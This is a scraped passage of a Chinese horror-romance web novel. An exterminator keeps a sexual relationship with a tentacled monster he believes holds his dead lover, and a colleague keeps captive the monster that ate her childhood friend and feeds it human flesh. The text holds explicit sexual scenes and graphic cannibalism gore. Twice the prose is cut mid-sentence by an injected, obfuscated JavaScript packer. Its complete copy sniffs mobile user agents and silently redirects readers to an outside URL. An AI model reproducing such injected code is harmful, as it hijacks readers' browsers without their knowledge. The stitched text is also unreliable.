为了让食物更好吃,祂将布料上的抹到了向罂身上。 向罂诧异地看着狮鬃水母:“你在做什么?” “我喜欢吃你身上的。”狮鬃水母不紧不慢地进着食,空闲的触手有一搭没一搭地抚摸着向罂。 向罂见狮鬃水母就着自己的皮肤吃,失笑道:“我难不成是什么调味料?” “对,你是一味上好的调味料。”狮鬃水母答道。 即使都是叽里咕噜,但狮鬃水母其实对他有问必答吧? 向罂粲然一笑:“你真是头好怪物。” 不过好怪物什么的,对于怪物而言,不是什么好话吧? 人类与怪物是对立的,对人类好,意味着对怪物不好。 被自己的人类夸奖了,狮鬃水母有点害羞。 吃尽后,狮鬃水母意犹未尽地抚弄着向罂的肌肤。 向罂看了眼时间,他在春.梦里与闻璨共度了十多年,而在现实中,他只不过睡了六个半小时。 狮鬃水母摇晃着触手,看起来心情愉悦,教向罂想起了小时候看过的动物世界中摇晃着尾巴的雄狮。 他正要去摸狮鬃水母的触手,一条消息猝不及防地跳了出来,来自“怪物清除局”内部软件。 26.如愿·其七 发消息给他的人是边橙,内容是蚯蚓怪被“神庙”认定惹怒了上天,近来怪物激增便是上天降下的惩罚。 “神庙”将对蚯蚓怪执行火刑,以乞求上天的宽宥。 近来确实怪物激增,但这明显同蚯蚓怪没什么关系,区区蚯蚓怪绝不可能拥有这么大的力量。 “神庙”之所以盯上蚯蚓怪,大抵是因为蚯蚓怪具有智慧,能与人沟通的缘故吧? 信徒通过向“神庙”上贡,来降低家族的“异变值”。 “神庙”害怕蚯蚓怪会泄露不利于他们的秘辛,进而坏了他们的生意? 不论如何,眼下都不是沉迷风花雪月的时候。 向罂猛地坐起身来,由于身上没什么气力,只能用双手撑着。 一场过于真实的梦,几乎抽走了他全身的气力,亦使得他出了那种东西。 缠在他腰身、下.体的触手显然意犹未尽,被数不胜数的吸盘吮.吸着的肌肤微微有些发红。 他缓了口气后,抚.摸了一番触手,视线最后定在狮鬃水母脑袋上,歉然地道:“我得回‘怪物清除局’了。” “怪物清除局”! 作为一头怪物,狮鬃水母当然不喜欢“怪物清除局”。 因而祂下意识地收紧了自己的触手。 “对不起。”向罂堪堪伸手拨开一丛触手,反而被另一丛触手束缚了。 紧接着,他的四肢全数被触手束缚了,整副身体呈大字型,被困在了床上。 狮鬃水母居高临下地端详着向罂:“不许走。” 向罂并不挣扎,只是认真地道:“松开我,我有我必须要做的事。” 什么是向罂必须要做的事? 回“怪物清除局”诛杀怪物么? 祂无所谓,反正祂与其他怪物没有任何交集。 但向罂不是说爱祂,不让祂离开么?怎么向罂自己要离开? 所谓的爱不是得无时无刻腻在一起么? 向罂宁愿被祂吃掉,都不愿意祂离开,不是么? 难不成向罂对祂所做所说的一切都是在演戏? 昨夜,向罂不慎被祂所捕获,生怕被祂吃掉,才说爱祂。 其实向罂对祂根本没有爱情,只是想将祂处刑? 也是,人类怎么会对怪物产生爱情? 向罂爱的是那个闻璨。 触手倏地用力,破开向罂的手腕、脚腕,逼出了血来。 向罂不觉得疼,承诺道:“你在这儿等我,我会回来的,别怕。” 向罂会回来的,会带着其他处刑官回来么? 要相信向罂么? 向罂的肤色本就苍白,被溢出来的鲜血衬得仿佛已死去多日了。 狮鬃水母心惊肉跳,正要收回触手,却心道:是苦肉计么? “我爱你,我会回来的,等我。” 之前,向罂并不清楚自己到底爱不爱闻璨,抑或仅仅将闻璨当做哥哥。 但他看着狮鬃水母进食,居然会幻想闻璨吃那种东西,乃至于做了一场春.梦。 是以,他确认了自己是爱着闻璨的。 至于自己是从什么时候起爱上闻璨的,他并不清楚。 兴许是第一次见到闻璨的时候,兴许是闻璨一次一次地被他欺负的时候,兴许是闻璨为了保护他,被狮鬃水母吞噬的时候。 又兴许没有一个确切的时候,日积月累之下,对哥哥的喜欢,被他酿成了爱情。 然而,狮鬃水母显然并不相信他。 家居服被触手撕开,丢在了地上,他变得赤.身.裸.体,一如呱呱坠地的婴孩。 触手急切地摩挲着他的身体,带起一阵激灵。 他瞧着破破烂烂的家居服,暗忖道:还能缝好么? 恐怕缝不好了吧? 等闻璨恢复意识了,让闻璨再给他买一套吧。 狮鬃水母发觉向罂的视线定在家居服上,不快地用触手将家居服丢远了些。 家居服不会是闻璨给向罂买的吧? 闻璨真是讨怪物厌的人类。 向罂叹了口气:“松开我。” “不行。”狮鬃水母听说过有些怪物喜欢囚禁人类,慢慢食用,就像人类会去超商采购食物,放进冰箱里,慢慢食用一般。 祂并不打算吃了向罂,但祂可以囚禁向罂。 向罂的这间房子看起来十分隐秘,踏足的人类或是怪物应该不多。 只要向罂被祂囚禁了,便再也不能去见闻璨了。 祂似乎厨艺不错,祂可以给向罂做一日三餐,绝不会饿着向罂。 向罂不用再出生入死地处决怪物,大可安全地待在祂身边。 而且祂不是一头贪食的怪物,祂会有节制地取食。 刚才要不是向罂自己主动提供食物,祂是不会进食的。 如果有不幸的人类踏足,祂就将他吃了。 如果有怪物踏足,祂一定会保护好他的人类。 囚禁向罂真是个好主意。 “松开我。”向罂无奈地道。 “不松开。”狮鬃水母与向罂僵持着。 见猩红越来越多,浸湿了米色的床单,祂终是松开了向罂。 伤口霎时暴露在祂眼前,令祂心如刀割,虽然狮鬃水母是没有心脏的。 向罂坐起身来,并未理会新生的伤口,反而抱住了狮鬃水母:“别怕,我爱你。” 狮鬃水母温顺地任由向罂抱着,这个人类真的爱祂么? 抱了好一会儿,向罂松开狮鬃水母,将自己的右腕递到狮鬃水母的口器前:“吃吧,别浪费。” 狮鬃水母摇了摇头:“不吃。” 向罂浑身上下皆对狮鬃水母极具吸引力,包括血液。 但是祂舍不得吃。 向罂低下头去,吸了一口自己右腕的血,继而吻上了狮鬃水母的口器。 这口器当然与人类的唇舌天差地别。 向罂将血液往口器渡,被狮鬃水母拒绝了。 狮鬃水母将向罂抱到浴室洗澡,自己出去了。 祂知道人类沾染怪物的气息是一件很是危险的事情。 因此祂打开门,出去了,缩在旋转木马上发怔。 对于旋转木马,祂兴味索然,祂满脑子全是向罂。 祂刚才明明决定要囚禁向罂,为什么改主意? 只是因为向罂流血了? 这么点血根本要不了向罂的性命。 向罂是“怪物清除局”的处刑官,在执行任务的过程当中,想必经历过九死一生的状况,这么点血对于向罂压根算不上什么。 祂松开向罂后,向罂果然毫不在意伤口,甚至主动喂血给祂吃。 可是向罂怎么能毫不在意伤口? 向罂真是个愚蠢的人类。 突然间,向罂冲了出来,上身是T恤衫,下身是牛仔裤。 尽管是随处可见的打扮,祂竟觉得向罂漂亮得不得了。 这么漂亮的人类出去太危险了,就应该被祂所囚禁。 触手蠢蠢欲动,直要将多余的布料从人类身上剥离,露出胴.体。 人类是一种会有羞耻感的动物,一旦被剥光衣服,就出不去了。 作为食物链的上端,怪物对人类为所欲为是天经地义的。 向罂洗过澡,包扎好,急匆匆地出来,见狮鬃水母不见了,顿时吓得出了一身冷汗。 狮鬃水母走了,他的闻璨走了。 早知道他就不回“怪物清除局”了,蚯蚓怪也好,“神庙”也罢,都不及闻璨重要。 他惊慌失措地冲了出去,乍见狮鬃水母趴在一匹红色的旋转木马上面,才松了口气。 “闻……你还在啊,那就好。”向罂抱住狮鬃水母,亲了亲,“请你等我回来。” 狮鬃水母回抱住向罂,一身的触手吸附在廉价的布料上,犹豫着是否要将布料撕成碎片。 向罂并不是富裕的人类,衣服必然不多。 祂不费吹灰之力,就能把人类全部的衣服都撕成碎片。 “你一定要等我回来,我不能失去你。”向罂吸了吸鼻子,“别不要我。” 狮鬃水母一下子被人类打动了,算了,既然人类会回来,作为一头大方的怪物,祂等一等人类又何妨? “你答应我了,对不对?”向罂忐忑地道。 见狮鬃水母点了点头,他兴奋地道:“你答应我了!答应我了!我最爱你了!” 而后,他又去洗了个澡。 等他再次洗完澡,他朝着浮在旋转木马上方的狮鬃水母挥手道:“等我回来。” 狮鬃水母突然觉得自己像极了人类的宠物,送人类上班,等人类下班。 依依不舍地告别狮鬃水母后,向罂从口袋里掏出喷雾,往自己身上喷了好几下,以消除狮鬃水母的气味。 决不能让任何人发现他找到闻璨了。 他走出上百米,紧张地折返回去,确认狮鬃水母还在,才稍稍安心了些。 回到宿舍后,他又洗了个澡,换上制服,才去“怪物清除局”。 他照例去了化验室,用与之前一样的口吻问凯勒:“凯勒女士,请问今天是否有一头长得像‘狮鬃水母’的怪物的血液样本被送来化验?” “没有。”凯勒抬头望向向罂,向罂有些不一样了,至于是哪里不一样了,她一时之间说不清。 “哟,未亡人。”每次来化验室,向罂都会被边橙这样调侃,这次也不例外。 边橙将向罂上上下下扫视了一遍,猝然扣住向罂的手腕,质问道:“你这手腕怎么了?” 向罂蹙眉道:“没什么。” 边橙紧紧地盯着向罂:“真的没什么?” “真的没什么。”向罂不耐烦地拨开边橙的手指,转身离开。 边橙望着向罂的背影,单手托腮:“老师,你觉不觉得今天的向罂有点儿不一样?” “是有点不一样了。”凯勒敲了下边橙的脑门,“你别再叫人家向罂‘未亡人’了。” 边橙捂住脑门:“老师的意思是向罂不是‘未亡人’了,他那个被狮鬃水母吃掉的心上人活过来了?布朗伯爵不是都市传说么?” “老师的意思是你叫向罂‘未亡人’太没礼貌了。”凯勒沉思片刻,道,“布朗伯爵的确是都市传说,历史上没有一位伯爵姓‘布朗’,至于向罂的心上人能不能活过来,我认为可能性不大。百年来,这么多的人类被怪物吃了,没有一个人类成功夺取了怪物的意识,占据了怪物的肉.体。” “那向罂也太可怜了。”边橙长长地叹了口气。 凯勒揉了揉边橙的发丝:“关于此,你是最了解的不是么?何必戳向罂的痛处。” 是啊,诚如边橙曾经对向罂说过的,她也是未亡人。 她喜欢的人,为了保护她,当着她的面,被一头怪物吃了。 那是一头长得像猛犸象的怪物,对于尚且年幼的她而言,可谓是遮天蔽日。 怪物吃得很是斯文,一口又一口,一口又一口。 吃了良久,怪物才吃下了他的一条手臂。 她能很清楚地看见他肌肉的纹理,血管的颜色,骨头的形状…… 他流了很多很多的血,仿若要将全世界都染红。 他声嘶力竭地吼她:“快走,快走,快走……” 而她却是抱着洋娃娃,缩在墙角,瑟瑟发抖。 在过度的惊吓中,她恍恍惚惚地想:这个世界为什么会有怪物?怪物为什么会吃人?怪物能不能不吃人?好怪物是不会吃人的吧?在她眼前吃人的怪物为什么不是好怪物?被吃的那个人是谁,怎么这么像她喜欢的小哥哥? “快走,快走,快走……” 她一动不动,只是将洋娃娃抱得更紧了些。 “快走,快走,快走……” 她猛然放下洋娃娃,拽住小哥哥的左手,想要将小哥哥从怪物口中救出来。 当时的她才十岁,没什么力气。 怪物助人为乐地用利齿将小哥哥的左肩一刮,她突地跌在了地上,怀里还抱着一条血淋淋的左臂。 她身上的碎花小裙子当即被染红了。 再一抬头,怪物正在啃食小哥哥的左脚。 这条腿上有伤,她不小心跘了小哥哥一跤,害得小哥哥破了皮,摔断了腿,膝盖上还留下了一块成年人大拇指指甲盖大的伤疤。 怪物从小哥哥的左脚吃到膝盖了,她隐约从怪物口中窥见了那块伤疤。 怪物吃尽左腿后,接着吃右腿。 小哥哥应该疼得厉害,却一直对她说:“快走,快走,快走……边橙快走。” 她没走,怪物分明没对她做什么,她却走不动。 “笨蛋,快走,你想被吃掉么?” 随着这句话,一颗石头砸了过来,砸破了她的额头。 “好疼。”她忍不住痛呼道。 “笨蛋,再不走,你会更疼的。“ 又一颗石头砸了过来。 划过她的面颊,出血了,也很疼。 被怪物慢条斯理地吃会更疼。 她不想被吃掉,也不想小哥哥被吃掉。 于是,她不停地捡石子,扔向怪物。 “放开他!放开他!放开他!不准吃他!我不准你吃他!” 不管她准不准,小哥哥的右腿终究被吃掉了。 很多年以后,她才知道古代有一种刑法叫“人彘”。 小哥哥被怪物吃成了人彘。 小哥哥当然没有像人彘一样被放入酒坛之类的容器,怪物开始吃小哥哥的肩膀了。 她扔向怪物的石子在怪物脚边堆成了一座小山,但对怪物而言,无关紧要。 这儿本来就是工地,有数不清的石子。 她不顾小哥哥的催促,锲而不舍地扔石子。 忽而看见一把铁锹,她操起铁锹向怪物砍去。 但是无济于事。 她做的一切都无济于事。 不知道多久后,小哥哥不出声了。 想必是累了吧。 她是这样想的。 为了救小哥哥,她将自己所能拿得动的工具都砸在了怪物身上。 她没想过自己会不会被怪物吃掉,她只是一门心思地想救小哥哥出来。 小哥哥的身体越来越少,没多久,仅仅剩下一颗头颅。 小哥哥的眼睛一直望着她,其中满是担忧。 怪物毫发无损,如同吃苹果一般,用鼻子卷起头颅,送到了自己嘴边。 一声脆响之后,脑浆流淌了出来。 人类的记忆是存储在脑子里的,小哥哥对她的记忆亦然。 “别吃,不许吃,我不希望小哥哥忘了我。” 怪物瞥了她一眼,继续细品。 小哥哥连身体都没有了,吃不吃掉头颅,都不会记得她。 “啊……”她绝望得大喊,可惜唤不回她的小哥哥。 等小哥哥的头颅被怪物啃食殆尽,怪物终于走向了她。 直到这时候,她才领悟到自己危在旦夕。 怪物的绒毛蹭上了她的手,她忽觉有千万只蚂蚁在她身上游走。 好痒,好难受,好可怕。 她向后退去,不小心踩上了方才用过的铁锹,被铁锹绊倒了。 膝盖重重地磕在了砂石上,破了皮。 她会长出像小哥哥一样的伤疤么? 小哥哥不在了,被眼前的这头怪物吃掉了。 当着她的面,被眼前的这头怪物吃掉了! 她想逃,却连站都站不起来。 “砰!”一声枪响在她耳边炸开。 紧接着,她被一条属于人类的胳膊抱住了腰身。 再接着,她如同武侠电影一般,被人抱着飞檐走壁。 她离工地越来越远了,离那头吃掉了小哥哥的怪物越来越远了。 许久后,她被放了下来。 她这才抬头去看救了她的人。 ——段昀。 是小哥哥的亲哥哥。 “哇……”她大哭起来,抱着段昀的腿,“小哥哥被吃掉了,小哥哥被那头怪物吃掉了!” 段昀明显怔了怔,而后抚摸着她的脑袋道:“我知道了。” “你知道了?”她气愤地道,“你的亲弟弟被怪物吃掉了,你就是这种反应?” “对不起。”段昀低头认错。 她指着段昀的鼻子道:“你应该帮他报仇,你应该把怪物也吃掉,这是你这个当哥哥的义务。” 一年后,段昀进入了“怪物清除局”。 多年后,段昀当上了“怪物清除局”副局长。 “对,关于此,我是最了解的。”边橙收回思绪,没再理睬凯勒,径直走出了化验室。 半个小时后,她来到了一间密室门口。 通过指纹验证后,她看见了段昀。 段昀柔声道:“你来了。” “嗯,我来了。”边橙走到牢房前,观察着被关在其中的猛犸象模样的怪物道,“怎么样?” “恐怕……”段昀拍了拍边橙的背脊,又给边橙倒了杯茶来。 边橙一面喝着温度适宜的茶,一面问段昀:“我们该怎么办?” 她没看段昀,看的是怪物。 段昀也没看她,看的也是怪物。 温热的茶水滑过喉咙,落入胃袋,让边橙觉得舒服了些。 半晌,她才得到段昀的答案:“不知道。” 凯勒只知道她的心上人被怪物吃了,并不知道她与段昀找到了那头怪物,并将其关起来了。 三年前,当她看到这个怪物,她想的是小哥哥一定能像布朗伯爵一样。 然而,时间一分一秒地过去了,不论她如何同怪物讲她与小哥哥的往事,怪物都没有给与她丁点儿反应。 那时候,她已经进入“怪物清除局”了。 她开始着手调查布朗伯爵,事实证明,布朗伯爵不过是都市传说而已,不可取信。 她不死心,一有空,就来见怪物,指望自己能对小哥哥有所益助。 她甚至要求段昀打扮成怪物,而她自己则扮作小哥哥,以复原当时的情形。 这个主意没什么用。 后来,她见到了向罂,发现向罂与她有着相同的遭遇。 她喊向罂“未亡人”,以此提醒自己别再执着,杀了怪物,为小哥哥报仇,好好做一个未亡人。 执着不是一件好事,她希望向罂能走出阴霾,过自己的人生。 然而,向罂还没走出去,而她也还没走出去。 他们被困在过去了。 一样被困在过去的还有段昀。 她将茶水一饮而尽,然后将茶杯放在地上,自己也蹲下.身去。 “我们该怎么办?” 这次,她不是在问段昀,而是在自言自语。 段昀搬了把椅子来,又将边橙抱到了椅子上坐着。 边橙弯着腰,将脑袋埋在膝盖:“我们该怎么办?” 放弃么?万一将来的某一日,小哥哥能回来呢? 不放弃么?日复一日的奢望实在太折磨人了。 段昀安慰道:“没关系,我们有的是时间。” 纵然因为怪物的出现,大大缩短了平均寿命,但他们至少还有四五十年可活。 四五十年的时间足够小哥哥恢复意识么? “边橙,你还在做噩梦么?”段昀突然发问道。 自从小哥哥被怪物吞噬后,边橙一直在做噩梦。 她总是梦见小哥哥牵着她的手,拼命往前跑。 她却摔跤了,害得他们被怪物追上了。 小哥哥挡在她身前保护她,于是小哥哥被怪物捉住了。 “快走,快走,快走……” 不管睡着或是醒来,小哥哥的声音常常萦绕在她脑中。 小哥哥被吃掉的情状更是历历在目,仿佛发生在昨天。 “嗯,我还在做噩梦。”她坦诚地道。 因为与小哥哥同年,他们关系更好。 小哥哥出事前,她鲜少和段昀说话,老是黏着小哥哥。 小哥哥出事后,尤其是她考入“怪物清除局”后,她与段昀亲近了许多。 小哥哥与段昀是同父同母的亲兄弟,长相、性格都很相似。 小哥哥倘使能长到段昀现在的年纪该有多好。 她凝视着段昀,问:“你呢?” 段昀答道:“偶尔。” 小哥哥过世后,他的爸爸妈妈因为伤心过度,接连跟着走了。 段昀成了孤儿。 一定程度上来说,她与段昀可谓是相依为命。 倘若小哥哥能恢复意识,这头怪物便会变成段昀惟一的亲人。 “真好。”边橙微微笑道,“希望你有朝一日能不再做噩梦。” “你想忘记他么?”段昀隐晦地问道。 边橙明白段昀其实问的是你想放弃么? “不想,至少目前还不想。”她登地站起身来,向段昀展示自己的肌肉,“我有好好锻炼,争取多等他几年。” “好,我们一起多等他几年。”段昀说完,给怪物丢了一块肉。 怪物原本正在假寐,闻到肉香,睁开眼睛,叼起肉,小口小口地吃了起来。 肉是人肉,是段昀通过手段,从监狱弄来的。 起初,段昀喂给怪物的是鸡鸭鱼肉,也喂过蔬菜瓜果。 可是怪物一碰不碰。 整整饿了怪物半年后,边橙生怕怪物有个三长两短,私自从被其祂怪物啃噬了一半的尸体上割了一块肉来,喂给了怪物。 怪物马上吃了。 边橙的操作不符合“怪物清除局”的规范,段昀气得将边橙痛骂一顿。 边橙被段昀骂哭了,委屈巴巴地道:“死都死了,我割点肉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我不久前见过向罂,他看起来有点不一样了。”边橙望住段昀,“要是他不是未亡人,要是他找到那头怪物了,要是他的心上人成为了布朗伯爵该有多好。” “是啊,该有多好。”段昀脱下外套,给边橙披上,接着给边橙续了一杯茶。 俩人再没有什么话可说的,齐齐看着怪物。 怪物还没吃尽那块人肉,人肉上头生满了肉眼可见的齿痕,一道又一道。 怪物当时吃小哥哥,干净利落多了。 是因为而今人肉太难得吧。 每隔半个月,段昀才会喂怪物一块人肉,约莫一斤重。 等怪物吃尽人肉,段昀又给怪物添了水,才对边橙道:“我们走吧。” 他们各自去洗了澡,才走出密室。 夜幕早已降下,段昀等边橙出来,一起去了训练室。 边橙骨架子小,力气也小,不适合当处刑官,因而进了化验室,跟随凯勒女士学习。 但边橙只要一有空,都会来训练室。 段昀当边橙的陪练,三个小时后,边橙才回宿舍。 次日,是“神庙”对蚯蚓怪执行火刑的日子。 向罂与其他围观者一道,聚集在全国最大的“神庙”门口。 火刑是一种古老的刑法,向罂这辈子从来没见过火刑。 火刑的吉时是十二点整。 还剩十分钟。 向罂不由自主地想起了狮鬃水母,不知道狮鬃水母有没有好好地待在他们的秘密基地? 倘若狮鬃水母离开了,他该怎么办? 他还能再找到他的闻璨么? 他不是一个乐观的人,总是想一些悲观的事,这样是不对的。 他又想如果他再买一个手机给狮鬃水母,他们就能进行视频通话了。 可是狮鬃水母会用手机么? 下次见面教狮鬃水母用手机吧。 再给狮鬃水母买一本字典吧。 如果狮鬃水母会写字,他们就能更好地交流了。 不知道狮鬃水母会不会饿,两天以来,只吃了那么一点点,应该会饿吧。 但是他没有那么多的粮食能提供给狮鬃水母。 对了,狮鬃水母还吃了长寿面,应该不会饿吧。 不过狮鬃水母看起来似乎更喜欢吃那种东西,还喜欢抹在他身上吃。 面颊陡然发烫了,他摸了摸自己的脸,暗道:冷静,向罂,冷静。 冷静,必须冷静,他不该在大庭广众之下,想那种事。 他甚至还想过闻璨…… 打住,打住,打住! 闻璨…… 闻璨会喜欢么? 一阵激烈的掌声乍然而起,打断了向罂的胡思乱想。 他抬头一看,是所谓的“神明”来了。 “神明”约莫七八十岁的年纪,和蔼可亲,看起来不像是神棍。 “上天的子民们,你们受苦了。” 这话一出,向罂旁边居然有不少人哭了出来。 向罂暗暗地翻了个白眼,为了合群,勉强挤出了两滴眼泪来。 “神明”接下来的话,向罂左耳进,右耳出,直到蚯蚓怪被“神明”的第一使者提了出来,他才全神贯注。 ——最为虔诚,最受“神明”器重的信徒被称作“使者”,即“神的使者”。 而第一使者就是其中的佼佼者。 蚯蚓怪很小,“神庙”贴心地为子民们准备了大屏幕。 大屏幕里的蚯蚓怪正缩成一团,躲在透明盒子的角落。 “神明”开始细数蚯蚓怪的罪孽,说得在场的信徒们义愤填膺。 区区蚯蚓怪能掀起这么大风浪? 向罂面无表情。 “神庙”上头的圣钟响了,十二点整到了。 装有蚯蚓怪的盒子被放在了火刑架上,火刑架被点燃了。 盒子受不住热气,爆裂开来。 “神明”正与使者们一起唱经,在神圣的唱经声中,他身后的一个使者突然扣住了他的脖颈。 向罂扫了一眼大屏幕,盒子里头的蚯蚓怪不知道什么时候逃走了。 显而易见,蚯蚓怪附在了使者身上,欲要杀害“神明”。 第一使者扬声道:“‘怪物清除局’的人在哪儿?” 哦,轮到我登场了。 向罂急匆匆地从人群中走了出来:“‘怪物清除局’处刑官向罂。” 第一使者催促道:“还不快去救‘神明’?” 向罂嗤之以鼻,想说都是“神明”了,为什么需要他一介凡人来救。 表面上,他拿出枪来,指着“使者”的眉心道:“放开‘神明’。” “不放。”“使者”含笑道,“向罂,好久不见了,啊,不对,我们三天前才见过。” “三天前,我能抓到你;三天后,我也能把你烧了。”向罂威胁道。 “哦,是么?”“使者”提议道,“不如把招摇撞骗的‘神明’一起烧了吧。” “‘神明’是高不可攀,不容亵渎的。”向罂正色道,“松开。” “高不可攀,不容亵渎,就这个老东西?”“使者”嗤笑道。 “你再作孽,下辈子怕是连一只蚯蚓怪都当不了了。”向罂一边说,一边逼近。 “使者”带着“神明”后退,其他使者不敢阻拦,他们退到了“神庙”里。 除了塑有“神明像”的大厅,“神庙”其他地方是外人无法涉足的。 “使者”盯着向罂身后的使者们,警告道:“向罂抓过我,我要再和向罂对决一次,你们不准进来,不然,我就弄死你们的‘神明’。” 向罂回过头去,安抚道:“你们放心,就算不要这条命,我也一定会救回‘神明’。” “神明”心里暗骂向罂连累了自己,面上慈爱地道:“孩子们,别为我担心,相信‘怪物清除局’,相信向罂。” 向罂受宠若惊地道:“我一定全力以赴。” 使者们不得不退了出去。 “关门。”“使者”命令道。 “使者”带着“神明”往“神庙”深处去,在一间供达官显贵祈祷的祈祷室,打晕了“神明”。 向罂将“神明”绑在堪称富丽堂皇的椅子上头,并蒙住了“神明”的眼睛。 其后,他对蚯蚓怪道:“找找‘神庙’里有没有什么文件提及怎么样将怪物变回人。” 蚯蚓怪本来是不想和向罂合作的,但祂对于自己能不能变回人很是好奇,勉为其难接受了。 “分头找。”向罂不熟悉“神庙”的结构,“怪物清除局”也没有相关的信息,以至于他只能没头苍蝇似的瞎找。 不知道是“神明”藏得太好,还是压根没有此类文件,向罂找了一通后,一无所获。 他只找到了一本账册,上面记录的是达官显贵们的“贡献值”,也就是他们上贡给“神庙”,或者说是“神明”本人的金钱。 他将账本翻来覆去地看了几遍,将上面的内容记得差不多了,才放回原处。 别的文件对他来说,毫无用处。 “婴儿箱”难道不是由“神庙”促成的? 那些弃婴难道不是由“神庙”处理的? 可是“异变值”与“婴儿箱”息息相关。 只要“贡献值”高,“异变值”便低。 向罂不相信“神庙”与“婴儿箱”毫无关系。 蚯蚓怪曾细数弃婴悲惨的遭遇,但是他之后盘问过蚯蚓怪,祂只说自己是听别的怪物说的,好多怪物都知道,还有爱吃婴儿的怪物时常守着“婴儿箱”,自诩自己是一头心善的怪物,致力于帮弃婴们脱离苦海。 “神明”本人定然知道些什么,甚至可能是始作俑者。 遗憾的是,向罂眼下还不能直接问“神明”。 回到祈祷室,他见到了蚯蚓怪,问道:“找到什么了?” ——他不相信蚯蚓怪,问是这么问了,但他其实把所有能找的地方都找了。 蚯蚓怪挤眉弄眼地道:“找到了信徒们和使者们的私密录影。” 却原来,上贡自己的肉.体,也算入“贡献值”。 向罂淡淡地道:“没有‘神明’的?” “’神明”至多只在旁边看。”蚯蚓怪可怜地道,“人上了年纪,就是力不从心啊。” 向罂对于蚯蚓怪的大发感慨毫无耐心:“好了,你该去死了。” 五分钟后,向罂一手扶着“神明”,一手捏着蚯蚓怪,从“神庙”出来了,他身后还跟着那个之前被附身的使者。 他激动地向众人道:“我不负所托,救回‘神明’了。” 一众信徒匍匐在地上,泪流满面。 向罂将“神明”交付给使者们,自己则将蚯蚓怪丢入了熊熊大火。 通过大屏幕,所有人见证了蚯蚓怪是如何被神圣的火焰烧成灰烬的。 向罂模仿着信徒们的姿态,仿若自己也是“神明”最为忠诚的信徒。 唱经声又响了起来,“神明”被两个使者扶着,站在中央,好像没发生过蚯蚓怪附身一事。 “惹怒了上天的蚯蚓怪被正法了,我们‘帕拉而提’将成为真真正正的理想国。” 至于渺小的蚯蚓怪是如何惹怒上天的,“神明”只字不提。 27.如愿·其八 发表了一席高谈阔论后,“神明”向自己的信徒们挥手道别。 向罂心下不情不愿,仍是与其他信徒们一道拜别“神明”。 等“神明”与使者们悉数离开,信徒们方才陆陆续续地站起身来,鱼贯离开。 这些信徒当中多的是有权有势的豪门望族,平日里最擅长的便是用鼻孔看人,向罂颇为好奇“神明”究竟是如何操弄人心,居然将他们收得服服帖帖的。 由于上等人惯会讲究排场,自是将道路堵塞了。 向罂扫了一辆共享单车,穿过各式各样的豪车,经受一堆白眼后,才回到了宿舍。 打开手机一看,不少贵族之间果然发生了摩擦,甚至还有故意追尾的。 贵族爱面子,单单因为谁在前面的问题,便闹得不可开交。 他忍不住冷笑一声。 而后,他剥下自己的制服,去了浴室。 裸.露的肌肤上布满了瑰丽的痕迹,是被“狮鬃水母”弄出来的。 鉴于“狮鬃水母”体内藏着闻璨,他并不介意被其玩弄。 但这痕迹未免太明显了,令他倍感羞耻。 他站在莲蓬头下,任凭水流冲刷身体。 他越是紧闭着眼帘,刻意不看,身体越是叫嚣不休。 原本青.涩的身体经过三番两次的玩弄后,变得奇怪了。 不,不止是身体,连带他的脑子也变得奇怪了。 不准再胡思乱想了! 他拍了拍自己的额头,继而豁然睁开双眼。 然而,胡思乱想反是愈演愈烈。 “闻璨……” 闻璨当然不在他身畔。 他情不自禁地覆下手去,将自己的手当作闻璨的手。 背脊撞上墙面贴着的瓷砖,瞬间冰火两重天。 身体沿着湿滑的瓷砖一点一点下坠,最终坐在了地砖上。 他坐在水雾中,后仰着头,回味着春.梦里的闻璨是如何做的。 由自己来弄不太舒服,他猛地站起身来,湿漉漉地爬上床,接着拿起了床头柜上的标本瓶。 尽管清楚这条右小臂不可能长回闻璨身上了,但他仍然保留着。 一开始,他仅仅是抱着标本瓶,后来,他鬼使神差地用标本瓶磨.蹭那些痕迹,假装是闻璨在抚摸他。 不知是没擦干身体的缘故,还是出了太多汗的缘故,他忽觉自己浑身黏黏糊糊的,仿佛被狮鬃水母抹了一身的黏液。 在他的肆意妄为下,右小臂在福尔马林中载沉载浮。 他以迷离的双眼看着右小臂,低喃道:“闻璨,我爱你。” 理所当然地没有得到回应,身体亦施舍给了他少许反应。 他气喘吁吁地拥着标本瓶,用手指稍稍沾了一点,送入口中。 果然不好吃。 “闻璨,你的好吃么?我想试试。” 等话说出口了,他才反应过来,赶忙用被子将自己盖得密不透风。 太羞耻了,太羞耻了。 幸好闻璨没听见。 要是闻璨能听见该有多好? 身体并不满足,想到这,意志又突然陷入消沉。 泪水涌上他薄红的眼尾,沾湿了乌黑的睫毛。 他吸了吸鼻子,才从被子里钻出来。 小心翼翼地将标本瓶放回床头后,他发现标本瓶被自己弄脏了,于是抽了纸巾来擦拭。 擦干净后,他下了床,不多的腥浊顺着他的腿徐徐往下淌。 要不要收起来给狮鬃水母当食物? 这个念头一闪而过。 不过他马上用纸巾胡乱将自己擦拭了一通。 他实在是做不到,如果做了,狮鬃水母会怎么想他? 他收起思绪,又去洗了个澡,换上了便服。 “怪物清除局”是不需要坐班的,既然没任务可出,他就去见狮鬃水母了。 狮鬃水母应该没离开吧? 狮鬃水母万一离开了呢? 幸而,他远远地便看见狮鬃水母坐在旋转木马上,孤零零的。 他飞奔过去,一把将狮鬃水母抱在怀里:“我回来了。” 这里是他与闻璨的秘密基地,现在成了他们的家。 狮鬃水母无数次想向罂也许不会再来了。 毕竟向罂爱的其实是闻璨,而且没有人类会喜欢被怪物亵.玩。 虽然不知道自己与闻璨有什么相似之处,但对于向罂而言,显而易见,祂还有用。 祂发着怔,浑身上下的触手不由自主地圈紧了向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15493509|163120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罂。 向罂有点儿发疼,可他没出声,任由狮鬃水母抱着。 